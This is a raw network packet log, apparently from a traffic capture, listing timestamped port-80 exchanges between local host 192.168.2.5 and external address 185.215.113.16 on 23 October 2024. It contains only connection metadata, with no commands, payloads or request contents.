Oct 23, 2024 15:49:08.705193996 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.705205917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.705218077 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.705229998 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.705238104 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.705298901 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.705476046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.705532074 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.705544949 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.705576897 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.710668087 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.710699081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.710709095 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.710736036 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.710736036 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.710755110 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.858141899 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.858218908 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.858333111 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.858345985 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.858360052 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.858403921 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.858403921 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.858616114 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.858658075 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.858668089 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.858704090 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.858727932 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.858740091 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.858752012 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.858777046 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.858798027 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.859496117 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.859532118 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.859539986 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.859544992 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.859568119 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.859582901 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.973442078 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.973453999 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.973485947 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.973496914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.973509073 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.973507881 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.973521948 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.973547935 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.973548889 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.974168062 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.974200010 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.974216938 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.974236012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.974400043 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.974450111 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.974458933 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.974462032 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.974476099 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:08.974490881 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.974508047 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:08.974517107 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.010848045 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.010874033 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.010921001 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.010938883 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.014920950 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.014933109 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.014945030 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.014970064 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.014991045 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.089016914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.089049101 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.089063883 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.089076996 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.089078903 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.089091063 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.089114904 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.089169025 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.089220047 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.089246035 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.089288950 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.089524031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.089571953 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.089582920 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.089598894 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.089613914 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.089622974 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.089637041 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.089657068 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.126486063 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.126513004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.126528025 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.126569986 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.126605988 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.130249023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.130265951 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.130281925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.130300999 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.130331993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.206060886 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.206144094 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.206146955 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.206160069 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.206176996 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.206186056 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.206192970 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.206209898 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.206212997 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.206226110 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.206228971 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.206243992 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.206259012 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.206270933 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.206281900 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.206320047 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.242592096 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.242645979 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.242660046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.242666960 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.242685080 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.242698908 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.246967077 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.247010946 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.247039080 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.247055054 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.247071028 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.247087002 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.247108936 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.321209908 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.321232080 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.321248055 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.321263075 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.321279049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.321280956 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.321300030 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.321331024 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.321434021 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.321450949 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.321465969 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.321507931 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.321535110 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.357897043 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.357932091 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.357948065 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.357956886 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.357966900 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.357985020 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.357995033 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.358015060 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.361418009 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.361434937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.361450911 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.361465931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.361625910 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.436568022 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.436582088 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.436595917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.436610937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.436666012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.436692953 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.436718941 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.436759949 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.436975956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.436991930 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.437021971 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.437036991 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.437277079 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.437293053 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.437308073 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.437319994 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.437335968 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.437345028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.473478079 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.473498106 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.473511934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.473527908 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.473553896 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.473587990 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.473623991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.473671913 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.473997116 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.474042892 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.476768970 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.476782084 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.476818085 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.476835012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.476931095 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.476972103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.477114916 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.477130890 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.477159977 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.477185965 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.551254988 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.551274061 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.551290989 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.551325083 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.551328897 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.551368952 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.551383972 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.551556110 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.551570892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.551611900 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.552489996 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.552504063 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.552520037 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.552545071 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.552562952 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.552685976 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.552727938 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.588743925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.588761091 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.588778019 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.588795900 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.588814020 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.588824034 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.592493057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.592509031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.592525005 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.592536926 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.592554092 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.592566967 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.592628956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.592675924 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.592814922 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.592860937 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.592997074 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.593013048 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.593029022 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.593040943 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.593059063 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.593079090 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.593132019 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.593172073 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.667285919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.667303085 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.667324066 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.667360067 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.667392969 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.668050051 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.668066025 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.668078899 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.668096066 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.668123007 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.704237938 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.704258919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.704282999 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.704299927 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.704310894 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.704329014 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.708046913 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.708074093 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.708091021 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.708115101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.708118916 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.708132982 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.708134890 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.708177090 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.709084988 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.709130049 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.709144115 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.709167004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.709186077 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.709191084 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.709201097 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.709204912 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.709228992 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.709249020 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.799346924 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.799371004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.799386024 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.799401045 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.799417019 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.799527884 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.819541931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.819595098 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.819596052 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.819612026 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.819638014 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.819653988 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.823427916 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.823452950 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.823487043 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.823487043 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.823568106 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.823590994 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.823606014 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.823616028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.823637009 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.823647022 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.824012041 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.824053049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.824059963 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.824094057 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.824238062 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.824254036 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.824270964 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.824285030 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.824295998 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.824300051 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.824312925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.824321985 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.824331045 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.824352980 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.825252056 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.825265884 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.825304031 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.914958000 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.914987087 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.915003061 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.915026903 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.915038109 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.915066957 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.915088892 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.915247917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.915282011 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.915306091 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.915328026 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.935190916 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.935208082 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.935241938 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.935256004 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.935400963 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.935416937 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.939285040 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.939346075 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.939347029 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.939384937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.939400911 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.939444065 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.939503908 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.939518929 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.939541101 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.939553976 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.939554930 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.939573050 CEST	80	49967	185.215.113.16	192.168.2.5
